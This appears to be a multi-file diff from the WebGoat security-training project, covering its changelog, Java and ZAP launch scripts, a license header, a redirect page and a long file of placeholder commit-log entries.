A big thanks to René Zubcevic and Àngel Ollé Blázquez for keeping the project alive this last year, and hopefully, we A big thanks to René Zubcevic and Àngel Ollé Blázquez for keeping the project alive this last year, and hopefully, we can make
can make
many more releases this year. many more releases this year.
### New functionality ### New functionality
- New year's resolution(2022): major refactoring of WebGoat to simplify the setup and improve building times. - New year's resolution(2022): major refactoring of WebGoat to simplify the setup and improve building times.
- Move away from multi-project setup: - Move away from multi-project setup:
* This has a huge performance benefit when building the application. Build time locally is now * This has a huge performance benefit when building the application. Build time locally is now `Total time: 42.469 s` (depends on your local machine of course)
`Total time: 42.469 s` (depends on your local machine of course)
* No longer add Maven dependencies in several places * No longer add Maven dependencies in several places
* H2 no longer needs to run as separate process, which solves the issue of WebWolf sharing and needing to configure * H2 no longer needs to run as separate process, which solves the issue of WebWolf sharing and needing to configure the correct database connection.
the correct database connection.
- More explicit paths in html files to reference `adoc` files, less magic. - More explicit paths in html files to reference `adoc` files, less magic.
- Integrate WebWolf in WebGoat, the setup was way too complicated and needed configuration which could lead to mistakes - Integrate WebWolf in WebGoat, the setup was way too complicated and needed configuration which could lead to mistakes and a not working application. This also simplifies the Docker configuration as there is only 1 Docker image.
and a not working application. This also simplifies the Docker configuration as there is only 1 Docker image.
- Add WebWolf button in WebGoat - Add WebWolf button in WebGoat
- Move all lessons into `src/main/resources` - Move all lessons into `src/main/resources`
- WebGoat selects a port dynamically when starting. It will still start of port 8080 it will try another port to ease - WebGoat selects a port dynamically when starting. It will still start of port 8080 it will try another port to ease the user experience.
the user experience.
- WebGoat logs URL after startup: `Please browse to http://127.0.0.1:8080/WebGoat to get started...` - WebGoat logs URL after startup: `Please browse to http://127.0.0.1:8080/WebGoat to get started...`
- Simplify `Dockerfile` as we no longer need a script to start everything - Simplify `Dockerfile` as we no longer need a script to start everything
- Maven build now start WebGoat jar with Maven plugin to make sure we run against the latest build. - Maven build now start WebGoat jar with Maven plugin to make sure we run against the latest build.
- Added `Initializable` interface for a lesson, an assignment can implement this interface to set it up for a specific - Added `Initializable` interface for a lesson, an assignment can implement this interface to set it up for a specific user and to reset the assignment back to its original state when a reset lesson occurs. See `BlindSendFileAssignment` for an example.
user and to reset the assignment back to its original state when a reset lesson occurs. See `BlindSendFileAssignment` - Integration tests now use the same user. This saves a lot of time as before every test used a different user which triggered the Flyway migration to set up the database schema for the user. This migration took a lot of time.
for an example.
- Integration tests now use the same user. This saves a lot of time as before every test used a different user which
triggered the Flyway migration to set up the database schema for the user. This migration took a lot of time.
- Updated introduction lesson to WebWolf. - Updated introduction lesson to WebWolf.
- Added language switch for support for multiple languages. - Added language switch for support for multiple languages.
- Removed logic to start WebGoat on a random port when port `8080` is taken. We would loop until we found a free port. - Removed logic to start WebGoat on a random port when port `8080` is taken. We would loop until we found a free port. We simplified this to just start on the specified port.
We simplified this to just start on the specified port.
- Add Google formatter for all our code, a PR now checks whether the code adheres to the standard. - Add Google formatter for all our code, a PR now checks whether the code adheres to the standard.
- Renaming of all packages and folders. - Renaming of all packages and folders.
- [#1039 New OWASP Top 10](https://github.com/WebGoat/WebGoat/issues/1093) - [#1039 New OWASP Top 10](https://github.com/WebGoat/WebGoat/issues/1093)
@ -267,16 +178,14 @@ Special thanks to the following contributors providing us with a pull request:
- Added new lessons for cryptography and path-traversal - Added new lessons for cryptography and path-traversal
- Extra content added to the XXE lesson - Extra content added to the XXE lesson
- Explanation of the assignments will be part of WebGoat, in this release we added detailed descriptions on how to solve - Explanation of the assignments will be part of WebGoat, in this release we added detailed descriptions on how to solve the XXE lesson. In the upcoming releases new explanations will be added. If you want to contribute please create a pull request on Github.
the XXE lesson. In the upcoming releases new explanations will be added. If you want to contribute please create a
pull request on Github.
- Docker improvements + docker stack for complete container with nginx - Docker improvements + docker stack for complete container with nginx
- Included JWT token decoding and generation, since jwt.io does not support None anymore - Included JWT token decoding and generation, since jwt.io does not support None anymore
### Bug fixes ### Bug fixes
- [#743 - Character encoding errors](https://github.com/WebGoat/WebGoat/issues/743) - [#743 - Character encoding errors](https://github.com/WebGoat/WebGoat/issues/743)
- [#811 - Flag submission fails](https://github.com/WebGoat/WebGoat/issues/811) - [#811 - Flag submission fails](https://github.com/WebGoat/WebGoat/issues/811)
- [#810 - Scoreboard for challenges shows csrf users](https://github.com/WebGoat/WebGoat/issues/810) - [#810 - Scoreboard for challenges shows csrf users](https://github.com/WebGoat/WebGoat/issues/810)
- [#788 - strange copy in constructor](https://github.com/WebGoat/WebGoat/issues/788) - [#788 - strange copy in constructor](https://github.com/WebGoat/WebGoat/issues/788)
- [#760 - Execution of standalone jar fails (Flyway migration step](https://github.com/WebGoat/WebGoat/issues/760) - [#760 - Execution of standalone jar fails (Flyway migration step](https://github.com/WebGoat/WebGoat/issues/760)
@ -285,7 +194,7 @@ Special thanks to the following contributors providing us with a pull request:
- [#719 - WebGoat: 'Contact Us' email link in header is not correctly set](https://github.com/WebGoat/WebGoat/issues/719) - [#719 - WebGoat: 'Contact Us' email link in header is not correctly set](https://github.com/WebGoat/WebGoat/issues/719)
- [#715 - Reset lesson doesn't reset the "HTML lesson" => forms stay succesful](https://github.com/WebGoat/WebGoat/issues/715) - [#715 - Reset lesson doesn't reset the "HTML lesson" => forms stay succesful](https://github.com/WebGoat/WebGoat/issues/715)
- [#725 - Vulnerable Components lesson 12 broken due to too new dependency](https://github.com/WebGoat/WebGoat/issues/725) - [#725 - Vulnerable Components lesson 12 broken due to too new dependency](https://github.com/WebGoat/WebGoat/issues/725)
- [#716 - On M26 @project.version@ is not "interpreted" #7](https://github.com/WebGoat/WebGoat/issues/716) - [#716 - On M26 @project.version@ is not "interpreted" #7](https://github.com/WebGoat/WebGoat/issues/716)
- [#721 couldn't be able to run CSRF lesson 3: Receive Whitelabel Error Page](https://github.com/WebGoat/WebGoat/issues/721) - [#721 couldn't be able to run CSRF lesson 3: Receive Whitelabel Error Page](https://github.com/WebGoat/WebGoat/issues/721)
- [#724 - Dead link in VulnerableComponents lesson 11](https://github.com/WebGoat/WebGoat/issues/724) - [#724 - Dead link in VulnerableComponents lesson 11](https://github.com/WebGoat/WebGoat/issues/724)

View File

@ -1,6 +1,6 @@
#!/bin/sh #!/bin/sh
/config/java-jdk/bin/java \ /config/jdk-17.0.6+10-jre/bin/java \
-Duser.home=/config \ -Duser.home=/config \
-Dfile.encoding=UTF-8 \ -Dfile.encoding=UTF-8 \
-DTZ=Europe/Amsterdam \ -DTZ=Europe/Amsterdam \

View File

@ -1,3 +1,3 @@
#!/bin/sh #!/bin/sh
/config/java-jdk/bin/java -jar /config/ZAP_2.15.0/zap-2.15.0.jar /config/jdk-17.0.6+10-jre/bin/java -jar /config/ZAP_2.12.0/zap-2.12.0.jar

View File

@ -1,4 +0,0 @@
/*
* SPDX-FileCopyrightText: Copyright © $today.year WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/

View File

@ -3,12 +3,12 @@
<head> <head>
<meta charset="utf-8"> <meta charset="utf-8">
<meta http-equiv="refresh" content="0;url=https://webgoat.org" /> <meta http-equiv="refresh" content="0;url=https://owasp.org/www-project-webgoat/" />
<link rel="canonical" href="https://webgoat.org" /> <link rel="canonical" href="https://owasp.org/www-project-webgoat/" />
</head> </head>
<body> <body>
<h1> <h1>
The page been moved to <a href="https://webgoat.org">https://webgoat.org</a> The page been moved to <a href="https://owasp.org/www-project-webgoat/">https://owasp.org/www-project-webgoat/</a>
</h1> </h1>
</body> </body>
</html> </html>

View File

@ -1,745 +0,0 @@
Sat May 10 12:27:40 UTC 2025: Commit 1 by Author One
Sat May 10 12:28:00 UTC 2025: Commit 2 by Author Two
Sat May 10 16:00:41 UTC 2025: Commit 1 by Author One
Sat May 10 16:02:46 UTC 2025: Commit 2 by Author Two
Sat May 10 16:04:50 UTC 2025: Commit 3 by Author Three
Sat May 10 16:06:55 UTC 2025: Commit 4 by Author Four
Sat May 10 16:08:59 UTC 2025: Commit 5 by Author Five
Sat May 10 16:11:03 UTC 2025: Commit 6 by Author Six
Sat May 10 16:13:08 UTC 2025: Commit 7 by Author Seven
Sat May 10 16:15:12 UTC 2025: Commit 8 by Author Eight
Sat May 10 16:17:17 UTC 2025: Commit 9 by Author Nine
Sat May 10 16:19:21 UTC 2025: Commit 10 by Author Ten
Sat May 10 16:21:26 UTC 2025: Commit 11 by DWSAuthor One
Sat May 10 16:23:30 UTC 2025: Commit 12 by DWSAuthor Two
Sat May 10 16:45:47 UTC 2025: Commit 1 by Author One
Sat May 10 16:48:41 UTC 2025: Commit 1 by Author One
Sat May 10 16:51:41 UTC 2025: Commit 1 by Author One
Sat May 10 16:54:41 UTC 2025: Commit 1 by Author One
Sat May 10 18:00:41 UTC 2025: Commit 1 by Author
Sat May 10 18:03:27 UTC 2025: Commit 2 by Seven
Sat May 10 18:06:14 UTC 2025: Commit 3 by <author7@example.com>
Sat May 10 18:09:01 UTC 2025: Commit 4 by DWSAuthor
Sat May 10 18:11:47 UTC 2025: Commit 5 by Four
Sat May 10 18:14:34 UTC 2025: Commit 6 by <autdwshor4@example.com>
Sat May 10 18:17:21 UTC 2025: Commit 7 by DWSAuthor
Sat May 10 18:20:07 UTC 2025: Commit 8 by Seven
Sat May 10 18:22:54 UTC 2025: Commit 9 by <adwsuthor7@example.com>
Sat May 10 18:25:41 UTC 2025: Commit 10 by DWSAuthor
Sat May 10 18:28:27 UTC 2025: Commit 11 by Six
Sat May 10 18:31:14 UTC 2025: Commit 12 by <autdwshor6@example.com>
Sat May 10 21:00:41 UTC 2025: Commit 1 by DWSAuthor
Sat May 10 21:03:28 UTC 2025: Commit 2 by Seven
Sat May 10 21:06:15 UTC 2025: Commit 3 by <adwsuthor7@example.com>
Sat May 10 21:09:02 UTC 2025: Commit 4 by Author
Sat May 10 21:11:48 UTC 2025: Commit 5 by One
Sat May 10 21:14:35 UTC 2025: Commit 6 by <author1@example.com>
Sat May 10 21:17:22 UTC 2025: Commit 7 by Author
Sat May 10 21:20:08 UTC 2025: Commit 8 by Three
Sat May 10 21:22:55 UTC 2025: Commit 9 by <author3@example.com>
Sat May 10 21:25:42 UTC 2025: Commit 10 by DWSAuthor
Sat May 10 21:28:28 UTC 2025: Commit 11 by Eight
Sat May 10 21:31:15 UTC 2025: Commit 12 by <adwsuthor8@example.com>
Sun May 11 00:00:41 UTC 2025: Commit 1 by Author
Sun May 11 00:03:27 UTC 2025: Commit 2 by Eight
Sun May 11 00:06:14 UTC 2025: Commit 3 by <author8@example.com>
Sun May 11 00:09:01 UTC 2025: Commit 4 by Author
Sun May 11 00:11:47 UTC 2025: Commit 5 by Four
Sun May 11 00:14:34 UTC 2025: Commit 6 by <author4@example.com>
Sun May 11 00:17:21 UTC 2025: Commit 7 by DWSAuthor
Sun May 11 00:20:07 UTC 2025: Commit 8 by Eight
Sun May 11 00:22:54 UTC 2025: Commit 9 by <adwsuthor8@example.com>
Sun May 11 00:25:40 UTC 2025: Commit 10 by DWSAuthor
Sun May 11 00:28:27 UTC 2025: Commit 11 by Ten
Sun May 11 00:31:14 UTC 2025: Commit 12 by <autdwshor10@example.com>
Sun May 11 03:00:42 UTC 2025: Commit 1 by DWSAuthor
Sun May 11 03:03:29 UTC 2025: Commit 2 by Eight
Sun May 11 03:06:16 UTC 2025: Commit 3 by <adwsuthor8@example.com>
Sun May 11 03:09:02 UTC 2025: Commit 4 by DWSAuthor
Sun May 11 03:11:49 UTC 2025: Commit 5 by One
Sun May 11 03:14:36 UTC 2025: Commit 6 by <dwsauthor1@example.com>
Sun May 11 03:17:22 UTC 2025: Commit 7 by DWSAuthor
Sun May 11 03:20:09 UTC 2025: Commit 8 by Six
Sun May 11 03:22:55 UTC 2025: Commit 9 by <autdwshor6@example.com>
Sun May 11 03:25:42 UTC 2025: Commit 10 by Author
Sun May 11 03:28:29 UTC 2025: Commit 11 by Six
Sun May 11 03:31:15 UTC 2025: Commit 12 by <author6@example.com>
Sun May 11 06:00:42 UTC 2025: Commit 1 by DWSAuthor
Sun May 11 06:03:29 UTC 2025: Commit 2 by One
Sun May 11 06:06:16 UTC 2025: Commit 3 by <dwsauthor1@example.com>
Sun May 11 06:09:02 UTC 2025: Commit 4 by DWSAuthor
Sun May 11 06:11:49 UTC 2025: Commit 5 by Ten
Sun May 11 06:14:36 UTC 2025: Commit 6 by <autdwshor10@example.com>
Sun May 11 06:17:22 UTC 2025: Commit 7 by DWSAuthor
Sun May 11 06:20:09 UTC 2025: Commit 8 by Five
Sun May 11 06:22:56 UTC 2025: Commit 9 by <autdwshor5@example.com>
Sun May 11 06:25:42 UTC 2025: Commit 10 by DWSAuthor
Sun May 11 06:28:29 UTC 2025: Commit 11 by Six
Sun May 11 06:31:16 UTC 2025: Commit 12 by <autdwshor6@example.com>
Sun May 11 09:00:42 UTC 2025: Commit 1 by DWSAuthor
Sun May 11 09:03:28 UTC 2025: Commit 2 by Eight
Sun May 11 09:06:15 UTC 2025: Commit 3 by <adwsuthor8@example.com>
Sun May 11 09:09:02 UTC 2025: Commit 4 by Author
Sun May 11 09:11:49 UTC 2025: Commit 5 by One
Sun May 11 09:14:35 UTC 2025: Commit 6 by <author1@example.com>
Sun May 11 09:17:22 UTC 2025: Commit 7 by DWSAuthor
Sun May 11 09:20:08 UTC 2025: Commit 8 by Four
Sun May 11 09:22:55 UTC 2025: Commit 9 by <autdwshor4@example.com>
Sun May 11 09:25:42 UTC 2025: Commit 10 by Author
Sun May 11 09:28:28 UTC 2025: Commit 11 by Seven
Sun May 11 09:31:15 UTC 2025: Commit 12 by <author7@example.com>
Sun May 11 12:00:41 UTC 2025: Commit 1 by DWSAuthor
Sun May 11 12:03:28 UTC 2025: Commit 2 by Four
Sun May 11 12:06:15 UTC 2025: Commit 3 by <autdwshor4@example.com>
Sun May 11 12:09:01 UTC 2025: Commit 4 by DWSAuthor
Sun May 11 12:11:48 UTC 2025: Commit 5 by Three
Sun May 11 12:14:35 UTC 2025: Commit 6 by <dwsauthor3@example.com>
Sun May 11 12:17:21 UTC 2025: Commit 7 by Author
Sun May 11 12:20:08 UTC 2025: Commit 8 by Seven
Sun May 11 12:22:54 UTC 2025: Commit 9 by <author7@example.com>
Sun May 11 12:25:41 UTC 2025: Commit 10 by DWSAuthor
Sun May 11 12:28:28 UTC 2025: Commit 11 by One
Sun May 11 12:31:14 UTC 2025: Commit 12 by <dwsauthor1@example.com>
Sun May 11 15:00:41 UTC 2025: Commit 1 by DWSAuthor
Sun May 11 15:03:28 UTC 2025: Commit 2 by Four
Sun May 11 15:06:15 UTC 2025: Commit 3 by <autdwshor4@example.com>
Sun May 11 15:09:01 UTC 2025: Commit 4 by Author
Sun May 11 15:11:48 UTC 2025: Commit 5 by Nine
Sun May 11 15:14:35 UTC 2025: Commit 6 by <author9@example.com>
Sun May 11 15:17:21 UTC 2025: Commit 7 by DWSAuthor
Sun May 11 15:20:08 UTC 2025: Commit 8 by Nine
Sun May 11 15:22:55 UTC 2025: Commit 9 by <autdwshor9@example.com>
Sun May 11 15:25:41 UTC 2025: Commit 10 by Author
Sun May 11 15:28:28 UTC 2025: Commit 11 by One
Sun May 11 15:31:15 UTC 2025: Commit 12 by <author1@example.com>
Sun May 11 18:00:42 UTC 2025: Commit 1 by DWSAuthor
Sun May 11 18:03:28 UTC 2025: Commit 2 by Four
Sun May 11 18:06:15 UTC 2025: Commit 3 by <autdwshor4@example.com>
Sun May 11 18:09:02 UTC 2025: Commit 4 by Author
Sun May 11 18:11:48 UTC 2025: Commit 5 by Five
Sun May 11 18:14:35 UTC 2025: Commit 6 by <author5@example.com>
Sun May 11 18:17:22 UTC 2025: Commit 7 by DWSAuthor
Sun May 11 18:20:08 UTC 2025: Commit 8 by Nine
Sun May 11 18:22:55 UTC 2025: Commit 9 by <autdwshor9@example.com>
Sun May 11 18:25:42 UTC 2025: Commit 10 by Author
Sun May 11 18:28:28 UTC 2025: Commit 11 by Three
Sun May 11 18:31:15 UTC 2025: Commit 12 by <author3@example.com>
Sun May 11 21:00:41 UTC 2025: Commit 1 by Author
Sun May 11 21:03:28 UTC 2025: Commit 2 by Eight
Sun May 11 21:06:14 UTC 2025: Commit 3 by <author8@example.com>
Sun May 11 21:09:01 UTC 2025: Commit 4 by Author
Sun May 11 21:11:48 UTC 2025: Commit 5 by Two
Sun May 11 21:14:34 UTC 2025: Commit 6 by <author2@example.com>
Sun May 11 21:17:21 UTC 2025: Commit 7 by Author
Sun May 11 21:20:08 UTC 2025: Commit 8 by Five
Sun May 11 21:22:54 UTC 2025: Commit 9 by <author5@example.com>
Sun May 11 21:25:41 UTC 2025: Commit 10 by DWSAuthor
Sun May 11 21:28:28 UTC 2025: Commit 11 by Seven
Sun May 11 21:31:14 UTC 2025: Commit 12 by <adwsuthor7@example.com>
Mon May 12 00:00:42 UTC 2025: Commit 1 by Author
Mon May 12 00:03:29 UTC 2025: Commit 2 by Seven
Mon May 12 00:06:16 UTC 2025: Commit 3 by <author7@example.com>
Mon May 12 00:09:03 UTC 2025: Commit 4 by DWSAuthor
Mon May 12 00:11:49 UTC 2025: Commit 5 by Eight
Mon May 12 00:14:36 UTC 2025: Commit 6 by <adwsuthor8@example.com>
Mon May 12 00:17:22 UTC 2025: Commit 7 by DWSAuthor
Mon May 12 00:20:09 UTC 2025: Commit 8 by Ten
Mon May 12 00:22:56 UTC 2025: Commit 9 by <autdwshor10@example.com>
Mon May 12 00:25:42 UTC 2025: Commit 10 by DWSAuthor
Mon May 12 00:28:29 UTC 2025: Commit 11 by Seven
Mon May 12 00:31:16 UTC 2025: Commit 12 by <adwsuthor7@example.com>
Mon May 12 03:00:42 UTC 2025: Commit 1 by DWSAuthor
Mon May 12 03:03:28 UTC 2025: Commit 2 by Nine
Mon May 12 03:06:15 UTC 2025: Commit 3 by <autdwshor9@example.com>
Mon May 12 03:09:02 UTC 2025: Commit 4 by Author
Mon May 12 03:11:49 UTC 2025: Commit 5 by Nine
Mon May 12 03:14:35 UTC 2025: Commit 6 by <author9@example.com>
Mon May 12 03:17:22 UTC 2025: Commit 7 by Author
Mon May 12 03:20:09 UTC 2025: Commit 8 by Two
Mon May 12 03:22:55 UTC 2025: Commit 9 by <author2@example.com>
Mon May 12 03:25:42 UTC 2025: Commit 10 by Author
Mon May 12 03:28:29 UTC 2025: Commit 11 by One
Mon May 12 03:31:15 UTC 2025: Commit 12 by <author1@example.com>
Mon May 12 06:00:42 UTC 2025: Commit 1 by DWSAuthor
Mon May 12 06:03:28 UTC 2025: Commit 2 by Two
Mon May 12 06:06:15 UTC 2025: Commit 3 by <dwsauthor2@example.com>
Mon May 12 06:09:02 UTC 2025: Commit 4 by DWSAuthor
Mon May 12 06:11:48 UTC 2025: Commit 5 by Ten
Mon May 12 06:14:35 UTC 2025: Commit 6 by <autdwshor10@example.com>
Mon May 12 06:17:22 UTC 2025: Commit 7 by DWSAuthor
Mon May 12 06:20:08 UTC 2025: Commit 8 by Five
Mon May 12 06:22:55 UTC 2025: Commit 9 by <autdwshor5@example.com>
Mon May 12 06:25:42 UTC 2025: Commit 10 by Author
Mon May 12 06:28:28 UTC 2025: Commit 11 by One
Mon May 12 06:31:15 UTC 2025: Commit 12 by <author1@example.com>
Mon May 12 09:00:41 UTC 2025: Commit 1 by DWSAuthor
Mon May 12 09:03:28 UTC 2025: Commit 2 by Two
Mon May 12 09:06:15 UTC 2025: Commit 3 by <dwsauthor2@example.com>
Mon May 12 09:09:01 UTC 2025: Commit 4 by Author
Mon May 12 09:11:48 UTC 2025: Commit 5 by Three
Mon May 12 09:14:35 UTC 2025: Commit 6 by <author3@example.com>
Mon May 12 09:17:21 UTC 2025: Commit 7 by DWSAuthor
Mon May 12 09:20:08 UTC 2025: Commit 8 by Six
Mon May 12 09:22:55 UTC 2025: Commit 9 by <autdwshor6@example.com>
Mon May 12 09:25:41 UTC 2025: Commit 10 by Author
Mon May 12 09:28:28 UTC 2025: Commit 11 by One
Mon May 12 09:31:14 UTC 2025: Commit 12 by <author1@example.com>
Mon May 12 12:00:43 UTC 2025: Commit 1 by DWSAuthor
Mon May 12 12:03:30 UTC 2025: Commit 2 by Eight
Mon May 12 12:06:17 UTC 2025: Commit 3 by <adwsuthor8@example.com>
Mon May 12 12:09:04 UTC 2025: Commit 4 by Author
Mon May 12 12:11:50 UTC 2025: Commit 5 by Five
Mon May 12 12:14:37 UTC 2025: Commit 6 by <author5@example.com>
Mon May 12 12:17:23 UTC 2025: Commit 7 by DWSAuthor
Mon May 12 12:20:10 UTC 2025: Commit 8 by Ten
Mon May 12 12:22:57 UTC 2025: Commit 9 by <autdwshor10@example.com>
Mon May 12 12:25:43 UTC 2025: Commit 10 by Author
Mon May 12 12:28:30 UTC 2025: Commit 11 by Nine
Mon May 12 12:31:17 UTC 2025: Commit 12 by <author9@example.com>
Mon May 12 15:00:41 UTC 2025: Commit 1 by Author
Mon May 12 15:03:28 UTC 2025: Commit 2 by Two
Mon May 12 15:06:15 UTC 2025: Commit 3 by <author2@example.com>
Mon May 12 15:09:01 UTC 2025: Commit 4 by Author
Mon May 12 15:11:48 UTC 2025: Commit 5 by Eight
Mon May 12 15:14:35 UTC 2025: Commit 6 by <author8@example.com>
Mon May 12 15:17:21 UTC 2025: Commit 7 by DWSAuthor
Mon May 12 15:20:08 UTC 2025: Commit 8 by Eight
Mon May 12 15:22:55 UTC 2025: Commit 9 by <adwsuthor8@example.com>
Mon May 12 15:25:41 UTC 2025: Commit 10 by DWSAuthor
Mon May 12 15:28:28 UTC 2025: Commit 11 by Five
Mon May 12 15:31:15 UTC 2025: Commit 12 by <autdwshor5@example.com>
Mon May 12 18:00:41 UTC 2025: Commit 1 by Author
Mon May 12 18:03:28 UTC 2025: Commit 2 by Eight
Mon May 12 18:06:15 UTC 2025: Commit 3 by <author8@example.com>
Mon May 12 18:09:01 UTC 2025: Commit 4 by Author
Mon May 12 18:11:48 UTC 2025: Commit 5 by Nine
Mon May 12 18:14:35 UTC 2025: Commit 6 by <author9@example.com>
Mon May 12 18:17:21 UTC 2025: Commit 7 by DWSAuthor
Mon May 12 18:20:08 UTC 2025: Commit 8 by Six
Mon May 12 18:22:55 UTC 2025: Commit 9 by <autdwshor6@example.com>
Mon May 12 18:25:41 UTC 2025: Commit 10 by DWSAuthor
Mon May 12 18:28:28 UTC 2025: Commit 11 by Eight
Mon May 12 18:31:14 UTC 2025: Commit 12 by <adwsuthor8@example.com>
Mon May 12 21:00:43 UTC 2025: Commit 1 by Author
Mon May 12 21:03:30 UTC 2025: Commit 2 by Ten
Mon May 12 21:06:16 UTC 2025: Commit 3 by <author10@example.com>
Mon May 12 21:09:03 UTC 2025: Commit 4 by DWSAuthor
Mon May 12 21:11:50 UTC 2025: Commit 5 by Nine
Mon May 12 21:14:36 UTC 2025: Commit 6 by <autdwshor9@example.com>
Mon May 12 21:17:23 UTC 2025: Commit 7 by DWSAuthor
Mon May 12 21:20:09 UTC 2025: Commit 8 by One
Mon May 12 21:22:56 UTC 2025: Commit 9 by <dwsauthor1@example.com>
Mon May 12 21:25:43 UTC 2025: Commit 10 by Author
Mon May 12 21:28:29 UTC 2025: Commit 11 by Seven
Mon May 12 21:31:16 UTC 2025: Commit 12 by <author7@example.com>
Tue May 13 00:00:42 UTC 2025: Commit 1 by DWSAuthor
Tue May 13 00:03:29 UTC 2025: Commit 2 by Six
Tue May 13 00:06:15 UTC 2025: Commit 3 by <autdwshor6@example.com>
Tue May 13 00:09:02 UTC 2025: Commit 4 by Author
Tue May 13 00:11:48 UTC 2025: Commit 5 by Five
Tue May 13 00:14:35 UTC 2025: Commit 6 by <author5@example.com>
Tue May 13 00:17:22 UTC 2025: Commit 7 by Author
Tue May 13 00:20:08 UTC 2025: Commit 8 by Ten
Tue May 13 00:22:55 UTC 2025: Commit 9 by <author10@example.com>
Tue May 13 00:25:42 UTC 2025: Commit 10 by DWSAuthor
Tue May 13 00:28:28 UTC 2025: Commit 11 by One
Tue May 13 00:31:15 UTC 2025: Commit 12 by <dwsauthor1@example.com>
Tue May 13 03:00:43 UTC 2025: Commit 1 by DWSAuthor
Tue May 13 03:03:30 UTC 2025: Commit 2 by Seven
Tue May 13 03:06:17 UTC 2025: Commit 3 by <adwsuthor7@example.com>
Tue May 13 03:09:03 UTC 2025: Commit 4 by Author
Tue May 13 03:11:50 UTC 2025: Commit 5 by Two
Tue May 13 03:14:37 UTC 2025: Commit 6 by <author2@example.com>
Tue May 13 03:17:23 UTC 2025: Commit 7 by DWSAuthor
Tue May 13 03:20:10 UTC 2025: Commit 8 by Ten
Tue May 13 03:22:57 UTC 2025: Commit 9 by <autdwshor10@example.com>
Tue May 13 03:25:44 UTC 2025: Commit 10 by DWSAuthor
Tue May 13 03:28:30 UTC 2025: Commit 11 by Five
Tue May 13 03:31:17 UTC 2025: Commit 12 by <autdwshor5@example.com>
Tue May 13 06:00:42 UTC 2025: Commit 1 by DWSAuthor
Tue May 13 06:03:29 UTC 2025: Commit 2 by Two
Tue May 13 06:06:16 UTC 2025: Commit 3 by <dwsauthor2@example.com>
Tue May 13 06:09:02 UTC 2025: Commit 4 by DWSAuthor
Tue May 13 06:11:49 UTC 2025: Commit 5 by Four
Tue May 13 06:14:36 UTC 2025: Commit 6 by <autdwshor4@example.com>
Tue May 13 06:17:22 UTC 2025: Commit 7 by DWSAuthor
Tue May 13 06:20:09 UTC 2025: Commit 8 by Five
Tue May 13 06:22:56 UTC 2025: Commit 9 by <autdwshor5@example.com>
Tue May 13 06:25:42 UTC 2025: Commit 10 by Author
Tue May 13 06:28:29 UTC 2025: Commit 11 by Five
Tue May 13 06:31:16 UTC 2025: Commit 12 by <author5@example.com>
Tue May 13 09:00:45 UTC 2025: Commit 1 by DWSAuthor
Tue May 13 09:03:32 UTC 2025: Commit 2 by Three
Tue May 13 09:06:19 UTC 2025: Commit 3 by <dwsauthor3@example.com>
Tue May 13 09:09:06 UTC 2025: Commit 4 by Author
Tue May 13 09:11:52 UTC 2025: Commit 5 by Three
Tue May 13 09:14:39 UTC 2025: Commit 6 by <author3@example.com>
Tue May 13 09:17:26 UTC 2025: Commit 7 by Author
Tue May 13 09:20:12 UTC 2025: Commit 8 by Five
Tue May 13 09:22:59 UTC 2025: Commit 9 by <author5@example.com>
Tue May 13 09:25:45 UTC 2025: Commit 10 by Author
Tue May 13 09:28:32 UTC 2025: Commit 11 by Eight
Tue May 13 09:31:19 UTC 2025: Commit 12 by <author8@example.com>
Tue May 13 12:00:41 UTC 2025: Commit 1 by DWSAuthor
Tue May 13 12:03:28 UTC 2025: Commit 2 by Two
Tue May 13 12:06:15 UTC 2025: Commit 3 by <dwsauthor2@example.com>
Tue May 13 12:09:01 UTC 2025: Commit 4 by Author
Tue May 13 12:11:48 UTC 2025: Commit 5 by Three
Tue May 13 12:14:35 UTC 2025: Commit 6 by <author3@example.com>
Tue May 13 12:17:21 UTC 2025: Commit 7 by DWSAuthor
Tue May 13 12:20:08 UTC 2025: Commit 8 by Seven
Tue May 13 12:22:55 UTC 2025: Commit 9 by <adwsuthor7@example.com>
Tue May 13 12:25:41 UTC 2025: Commit 10 by DWSAuthor
Tue May 13 12:28:28 UTC 2025: Commit 11 by One
Tue May 13 12:31:14 UTC 2025: Commit 12 by <dwsauthor1@example.com>
Tue May 13 15:00:43 UTC 2025: Commit 1 by Author
Tue May 13 15:03:30 UTC 2025: Commit 2 by Three
Tue May 13 15:06:16 UTC 2025: Commit 3 by <author3@example.com>
Tue May 13 15:09:03 UTC 2025: Commit 4 by Author
Tue May 13 15:11:50 UTC 2025: Commit 5 by Five
Tue May 13 15:14:36 UTC 2025: Commit 6 by <author5@example.com>
Tue May 13 15:17:23 UTC 2025: Commit 7 by Author
Tue May 13 15:20:09 UTC 2025: Commit 8 by Seven
Tue May 13 15:22:56 UTC 2025: Commit 9 by <author7@example.com>
Tue May 13 15:25:43 UTC 2025: Commit 10 by Author
Tue May 13 15:28:29 UTC 2025: Commit 11 by Six
Tue May 13 15:31:16 UTC 2025: Commit 12 by <author6@example.com>
Tue May 13 18:00:42 UTC 2025: Commit 1 by Author
Tue May 13 18:03:29 UTC 2025: Commit 2 by Six
Tue May 13 18:06:16 UTC 2025: Commit 3 by <author6@example.com>
Tue May 13 18:09:02 UTC 2025: Commit 4 by DWSAuthor
Tue May 13 18:11:49 UTC 2025: Commit 5 by Two
Tue May 13 18:14:36 UTC 2025: Commit 6 by <dwsauthor2@example.com>
Tue May 13 18:17:22 UTC 2025: Commit 7 by Author
Tue May 13 18:20:09 UTC 2025: Commit 8 by Four
Tue May 13 18:22:56 UTC 2025: Commit 9 by <author4@example.com>
Tue May 13 18:25:42 UTC 2025: Commit 10 by Author
Tue May 13 18:28:29 UTC 2025: Commit 11 by Ten
Tue May 13 18:31:16 UTC 2025: Commit 12 by <author10@example.com>
Tue May 13 21:00:42 UTC 2025: Commit 1 by Author
Tue May 13 21:03:29 UTC 2025: Commit 2 by Eight
Tue May 13 21:06:15 UTC 2025: Commit 3 by <author8@example.com>
Tue May 13 21:09:02 UTC 2025: Commit 4 by Author
Tue May 13 21:11:49 UTC 2025: Commit 5 by Seven
Tue May 13 21:14:35 UTC 2025: Commit 6 by <author7@example.com>
Tue May 13 21:17:22 UTC 2025: Commit 7 by DWSAuthor
Tue May 13 21:20:09 UTC 2025: Commit 8 by Three
Tue May 13 21:22:55 UTC 2025: Commit 9 by <dwsauthor3@example.com>
Tue May 13 21:25:42 UTC 2025: Commit 10 by Author
Tue May 13 21:28:29 UTC 2025: Commit 11 by Six
Tue May 13 21:31:15 UTC 2025: Commit 12 by <author6@example.com>
Wed May 14 00:00:42 UTC 2025: Commit 1 by DWSAuthor
Wed May 14 00:03:29 UTC 2025: Commit 2 by Eight
